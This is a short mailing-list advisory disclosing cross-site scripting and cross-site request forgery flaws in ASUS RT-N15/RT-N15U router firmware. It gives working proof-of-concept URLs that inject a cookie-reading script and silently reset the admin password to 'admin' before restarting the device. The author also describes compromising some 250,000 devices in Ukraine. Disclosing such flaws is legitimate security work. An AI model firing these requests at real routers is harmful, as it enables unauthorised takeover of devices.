XSS and CSRF vulnerabilities in ASUS RT-N15U

["MustLive" <mustlive () websecurity com ua>]

Hello list!

There are multiple vulnerabilities in ASUS Wireless Router RT-N15U. There 
are Cross-Site Scripting and Cross-Site Request Forgery vulnerabilities.

-------------------------
Affected products:
-------------------------

Vulnerable are the next models: ASUS RT-N15 and ASUS RT-N15U with different 
versions of firmware. I checked in RT-N15U with firmware version 1.9.2.7.

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Details:
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Cross-Site Scripting (WASC-08):

http://site/apply.cgi?current_page=%22%3E%3Cbody%20onload=alert%28document.cookie%29%3E

http://site/apply.cgi?next_host=%22%3E%3Cbody%20onload=alert%28document.cookie%29%3E

Cross-Site Request Forgery (WASC-09):

Change password of admin:

http://site/apply.cgi?action_mode=+Save+&next_page=SaveRestart.asp&sid_list=General%3B&http_passwd=admin&v_password=admin&action=Save

http://site/apply.cgi?action_mode=Save%26Restart+&next_page=Restarting.asp&sid_list=General%3B&action=Save%26Restart

First change password, then save and restart device.

I found this router and other 250000 network devices in 2014-2015 to take 
control over Russian terrorists in Crimea, Donetsk and Lugansks regions of 
Ukraine. Read about it in the list 
(http://lists.webappsec.org/pipermail/websecurity_lists.webappsec.org/2018-August/012727.html).

I mentioned about these vulnerabilities at my site 
(http://websecurity.com.ua/8134/).

Best wishes & regards,
MustLive
Administrator of Websecurity web site
http://websecurity.com.ua 


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